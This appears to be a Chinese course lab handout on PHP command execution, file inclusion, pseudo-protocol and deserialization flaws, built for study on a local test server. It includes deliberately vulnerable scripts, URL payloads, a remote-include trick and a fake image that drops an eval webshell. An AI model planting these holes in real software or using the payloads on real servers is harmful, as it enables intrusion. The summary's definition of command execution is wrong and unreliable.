一、PHP漏洞原理
1.PHP命令执行漏洞
PHP应用程序有时需要调用一些执行系统命令的函数,如php中的system,exec,shell exec,passthru,popen等,当用户可以控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令注入攻击/命令执行漏洞。
攻击达成的两个条件:
(1)用户可以控制函数输入
(2)存在可以执行代码的危险函数
命令执行漏洞的危害:
- 继承web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至服务器
- 进一步内网渗透
命令执行的防御:
尽量不要执行外部命令
使用自定义函数或函数库替代外部函数功能
使用escapeshellarg函数来处理命令参数
使用safe_mode_exec_dir:指定可执行文件路径
- safe_mode_exec_dir = /usr/local/php/bin
2.PHP文件包含漏洞
为了更好地使用代码的重用性,可以使用文件包含函数将文件包含进来,直接使用文件中的代码来提高重用性。在通过 PHP 的函数引入文件时,为了灵活包含文件,会将被包含文件设置为变量,通过动态变量来引入需要包含的文件用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过, 就会发生执行恶意php代码导致被攻击。
PHP中文件包含的4个函数是:
- include
- require
- include_once
- require_once
3.PHP伪协议
PHP文件包含,支持如下的伪协议和封装协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
file://
这个协议可以读取本地文件系统的文件,默认目录是当前的工作目录。
file:///path/to/file.ext 在文件包含中其实也就是等价/path/to/file.ext
但是如果来个题目给你来个正则匹配../ 或/开头的时候就可以用这个方法来绕过了。
php://
(1)php://input是个可以访问请求的原始数据的只读流
(2)php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用
常见用法:
可用过滤器列表 这里面列出了各种过滤器
(1)
readfile("http://www.example.com");
等价于
readfile("php://filter/resource=http://www.example.com");
(2)
读取链
file_get_contents("php://filter/read=convert.base64-encode/resource=test.php");
写入链
file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64");
这个点在ctf有时候会很有用,可以绕过一些waf
(3)php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
4.PHP反序列化
自从 Orange 在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门以后,php 反序列化这个漏洞就逐渐升温。
序列化的目的是方便数据的传输和存储,将对象变为字节流,调用的函数是serialize(),对对象进行序列号,只序列号对象的属性变量,不序列化对象的方法。
文件: User.php
<?php class User{ public $name = 'P2hm1n'; protected $sex = 'secret'; private $age = '20'; } $person = new User(); $str = serialize($person); print($str); //序列化的字节流写入文件user.txt file_put_contents("user.txt", $str);//save file ?> |
用Winhex打开文件,发现protected 和 private的属性,序列化后含有整数0。
反序列化就是将将字节流还原为对象的过程,反序列化时要求当前作用域存在该对象的类定义。反序列号调用的函数是: unserialize()。
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的.反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,而序列化的对象只含有对象的属性,那利用对象属性的篡改就可以实现恶意的攻击。
PHP对象在反序列化时,会自动调用如下的魔术方法:
__construct(),类的构造函数 __destruct(),类的析构函数 __call(),在对象中调用一个不可访问方法时调用 __callStatic(),用静态方式中调用一个不可访问方法时调用 __get(),获得一个类的成员变量时调用 __set(),设置一个类的成员变量时调用 __isset(),当对不可访问属性调用isset()或empty()时调用 __unset(),当对不可访问属性调用unset()时被调用。 __sleep(),执行serialize()时,先会调用这个函数 __wakeup(),执行unserialize()时,先会调用这个函数 __toString(),类被当成字符串时的回应方法 __invoke(),调用函数的方式调用一个对象时的回应方法 __set_state(),调用var_export()导出类时,此静态方法会被调用。 __clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类 __debugInfo(),打印所需调试信息 |
二、PHP漏洞示例内容
1.PHP的Windows版本下载:
下载不同版本的PHP(Windows版): windows.php.net - /downloads/releases/archives/ |
推荐使用: php-5.5.38-Win32-VC11-x64.zip 版本完成实验
在网站根目录,假定是:D:\wwwtest下面,放置文件flag.txt 和 flag.php和phpinfo.php,其中flag.txt/flag.php请写入所在班级姓名和学号等信息。
flag.txt内容:
flag{WangAn2020, Class:wangan202, Name:wanglicheng, No.: 2020240377} |
flag.php内容:
<?php $f = "flag{WangAn2020, wangan202, Name:wanglicheng, No.: 2020240377}"; ?> |
phpinfo.php内容:
<?php phpinfo(); ?> |
2.将PHP的zip压缩包” php-5.5.38-Win32-VC11-x64.zip”解压缩到C:/或者D:/下面,如下图所示:
3.设置php.ini中的参数
将解压后php5.4目录中的文件“php.ini-development”复制一份,并重命名为php.ini。
然后打开php.ini, 配置如下参数为on:
allow_url_fopen = On allow_url_include = On |
4.运行PHP服务器,同时在FireFox浏览器中安装插件“HackBar v2”
“开始”菜单 à “运行” à 输入: cmd.exe 假定网站根目录: d:/wwwtest C:\php5.5\php.exe -S 127.0.0.1:8888 -t d:/wwwtest |
火狐浏览器安装插件的情况:
5.PHP命令执行: 在网站根目录,也即d:/webtest目录下面输入如下文件 cmd.php
<?php $cmd = $_REQUEST['cmd']; system($cmd); ?> |
浏览器输入: http://127.0.0.1:8888/cmd.php?cmd=<命令>
其中“命令”试试如下命令:
- ?cmd=dir
- ?cmd=whoami
- ?cmd=net start
- ?cmd=net share
- ?cmd=net user
- ?cmd=type c:\windows\win.ini
6.PHP文件包含:在网站根目录,输入下面的文件: file.php
<?php $file = $_REQUEST['f']; include($file); ?> |
浏览器输入: http://127.0.0.1:8888/file.php?f=<命令>
其中“命令”试试如下命令:
- ?f=c:/windows/win.ini
- ?f=flag.txt
- ?f=a.jpg 【看看是否在网站目录下面生成了一句话木马 shell.php】
- ?f=http://<远端服务器>/…/a.jpg (其中a.jpg内容如下)
其中:网站根目录下面伪图片文件 a.jpg的内容如下:
<?php fputs(fopen("shell.php", "w"), '<?php eval($_POST["ant"]);?>'); ?> |
7.文件包含支持PHP的多种伪协议,仍然以上述file.php为例:
浏览器输入: http://127.0.0.1:8888/file.php?f=<命令>
其中“命令”试试如下命令:
- ?f=file://c:/windows/win.ini
- ?f=file://d:/000/webshell/ctf/flag.txt 【文件必须用绝对路径才行】
- ?f=php://filter/read=convert.base64-encode/resource=flag.php 【将得到的结果用在线base64解码】
- ?f=php://filter/convert.base64-encode/resource=flag.php 【将得到的结果用在线base64解码】
- ?f=data://text/plain,<?php phpinfo(); ?>
- ?f=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 【猜猜base64编码是什么php语句】
8.PHP反序列化漏洞:
对如下的vul1.php,构造攻击代码文件exp1.php并运行得到攻击字符串,运行vul1.php后弹出”Hello, XSS!”对话框。注意:生成的攻击代码,请 “右键” – “查看源代码”得到。
<?php class test{ public $target = 'this is a test'; function __destruct(){ echo $this->target; } } $a = $_GET['b']; $c = unserialize($a); ?> |
9.PHP反序列化漏洞:
对如下的vul2.php,构造攻击代码文件exp2.php并运行得到攻击字符串,运行vul2.php后,显示phpinfo()的信息。注意:对象含有private或者protected属性时,序列化后的代码请使用urlencode()或者rawurlencode()进行编码。
<?php class User { private $hook; function __wakeup() { if (isset($this->hook)) eval($this->hook); //将字符串当做PHP代码执行 } } $user_data = unserialize($_GET['data']); ?> |
10.PHP反序列化漏洞:
对如下的vul3.php,构造攻击代码文件exp3.php并运行得到攻击字符串,运行vul3.php后,显示flag.txt/flag.php的内容(攻击代码请使用flag.txt/flag.php的绝对路径):
<?php //flag is in flag.txt class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function __destruct(){ echo $this -> readfile(); } function readfile() { if (!empty($this->file)) { return file_get_contents($this->file); } } }
$x = new Shield(); isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) { $x = unserialize($g); } ?> |
11.PHP反序列化漏洞:
对如下的vul4.php,构造攻击代码文件exp4.php并运行得到攻击字符串,运行vul4.php后,列举当前目录下的文件:(提示: 利用 “system(‘dir’);”):
<?php class K0rz3n { private $test; public $K0rz3n = "i am K0rz3n"; function __construct() { $this->test = new L(); } function __destruct() { $this->test->action(); } } class L { function action() { echo "Welcome to XDSEC"; } } class Evil { var $test2; function action() { eval($this->test2); } } unserialize($_GET['test']); ?> |
三、总结
1.PHP命令执行的概念
PHP命令执行是指在服务器端使用PHP解析器执行PHP脚本,从而生成动态内容并将其发送回客户端的过程。PHP命令可以被嵌入到HTML文档中,也可以作为独立的脚本运行。在服务器端,PHP解析器会将PHP代码解析成可执行的指令,并在执行过程中读取和处理数据,与数据库交互,生成HTML等文档并将其返回给客户端。通过PHP命令执行,网站可以实现更高级别的交互和动态性。
2.PHP文件包含漏洞及其危害
PHP文件包含漏洞是一种Web应用程序安全漏洞,可以通过将恶意文件包含到PHP脚本中来利用该漏洞。攻击者利用这种漏洞可以在服务器上执行任意代码,窃取敏感信息或者破坏服务器。
危害:
执行任意代码:攻击者可以通过该漏洞在服务器上执行任意代码,如执行系统命令、删除文件、上传文件等。
窃取敏感信息:攻击者可以通过该漏洞窃取服务器上包含敏感信息(如用户名、密码等)的文件,从而对系统进行攻击。
破坏服务器:攻击者可以通过该漏洞破坏服务器上的数据或系统,导致服务器无法正常工作。
3.PHP的伪协议及其危害
PHP的伪协议(Pseudo-Protocol)是一种PHP语言的特殊协议,通过该协议,可以把本地文件、远程文件、函数执行的结果等都当做URL进行访问解析。
获取敏感信息:攻击者可以使用该伪协议来获取服务器上的敏感信息。
执行任意代码:攻击者可以使用该伪协议来执行任意代码。
破坏服务器: 攻击者可以使用该伪协议来破坏服务器上的数据或者系统,导致服务器无法正常工作。
4.什么是PHP反序列化漏洞
PHP反序列化漏洞是指攻击者利用PHP反序列化函数对恶意序列化数据进行解码并还原成对象,从而实现对应用程序的攻击。在PHP中,数据序列化是一种将数据结构转换成一种可存储或可传输的格式的过程,而反序列化则是将序列化后的数据重新转换成原始数据结构的过程。攻击者可以构造恶意序列化数据并将其发送到受影响的应用程序,使其执行恶意代码,窃取敏感信息或破坏系统。